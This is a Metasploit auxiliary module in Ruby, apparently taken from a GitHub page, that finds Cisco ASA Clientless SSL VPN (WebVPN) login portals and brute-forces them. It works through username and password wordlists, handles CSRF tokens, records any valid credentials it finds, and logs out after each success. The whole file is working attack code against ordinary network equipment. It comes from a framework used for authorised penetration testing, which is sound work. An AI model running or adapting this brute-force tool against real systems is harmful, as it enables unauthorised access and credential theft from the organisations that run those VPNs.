/
cisco_asa_clientless_vpn.rb
177 lines (156 loc) · 5.97 KB
/
cisco_asa_clientless_vpn.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Exploit::Deprecated
moved_from 'auxiliary/scanner/http/cisco_asa_asdm'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco ASA Clientless SSL VPN (WebVPN) Brute-force Login Utility',
'Description' => %q{
This module scans for Cisco ASA Clientless SSL VPN (WebVPN) web login portals and
performs login brute-force to identify valid credentials.
},
'Author' => [
'Jonathan Claudius <jclaudius[at]trustwave.com>', # original Metasploit module
'jbaines-r7' # updated module
],
'References' => [
[ 'URL', 'https://www.cisco.com/c/en/us/support/docs/security-vpn/webvpn-ssl-vpn/119417-config-asa-00.html' ]
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('GROUP', [true, 'The connection profile to log in to (blank by default)', '']),
OptPath.new('USERPASS_FILE', [
false, 'File containing users and passwords separated by space, one pair per line',
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')
]),
OptPath.new('USER_FILE', [
false, 'File containing users, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt')
]),
OptPath.new('PASS_FILE', [
false, 'File containing passwords, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')
])
]
)
end
def run_host(_ip)
# Establish the remote host is running the clientless vpn
res = send_request_cgi('uri' => normalize_uri('/+CSCOE+/logon.html'))
if res && res.code == 200 && res.get_cookies.include?('webvpn')
print_status('The remote target appears to host Cisco SSL VPN Service. The module will continue.')
print_status('Starting login brute force...')
each_user_pass do |user, pass|
do_login(user, pass)
end
else
print_status('Cisco SSL VPN Service not detected on the remote target')
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'Cisco ASA SSL VPN Service',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
# Brute-force the login page
def do_login(user, pass)
vprint_status("Trying username:#{user.inspect} with password:#{pass.inspect}")
# some versions require we snag a CSRF token. So visit the logon portal
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri('/+CSCOE+/logon.html'))
return unless res && res.code == 200
vars_hash = {
'tgroup' => '',
'next' => '',
'tgcookieset' => '',
'username' => user,
'password' => pass,
'Login' => 'Login'
}
cookie = 'webvpnlogin=1'
# the web portal may or may not contain CSRF tokens. So snag the token if it exists.
if res.body.include?('csrf_token')
csrf_token = res.body[/<input name="csrf_token" type=hidden value="(?<token>[0-9a-f]+)">/, :token]
if csrf_token
vars_hash['csrf_token'] = csrf_token
cookie = "#{cookie}; CSRFtoken=#{csrf_token};"
else
print_error('Failed to grab the CSRF token')
return
end
end
# only add the group if the user specifies a non-empty value
unless datastore['GROUP'].nil? || datastore['GROUP'].empty?
vars_hash['group_list'] = datastore['GROUP']
end
res = send_request_cgi({
'uri' => normalize_uri('/+webvpn+/index.html'),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => cookie,
'vars_post' => vars_hash
})
# check if the user was likely forwarded to the clientless vpn page
if res && res.code == 200 && res.body.include?('/+webvpn+/webvpn_logout.html') && res.body.include?('/+CSCOE+/session.js')
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
# logout - the default vpn connection limit is 2 so it's best to free this one up. Unfortunately,
# we need a CSRF and non-CSRF version for this as well.
if res.body.include?('csrf_token')
csrf_token = res.body[/<input type="hidden" name="csrf_token" value="(?<token>[0-9a-f]+)">/, :token]
# if we don't pull out the token... just keep going? Failing logout isn't the end of the world.
if csrf_token
send_request_cgi(
'uri' => normalize_uri('/+webvpn+/webvpn_logout.html'),
'method' => 'POST',
'vars_post' => { 'csrf_token' => csrf_token },
'cookie' => res.get_cookies
)
end
else
send_request_cgi('uri' => normalize_uri('/+webvpn+/webvpn_logout.html'), 'cookie' => res.get_cookies)
end
return :next_user
else
vprint_error("FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
end
end
end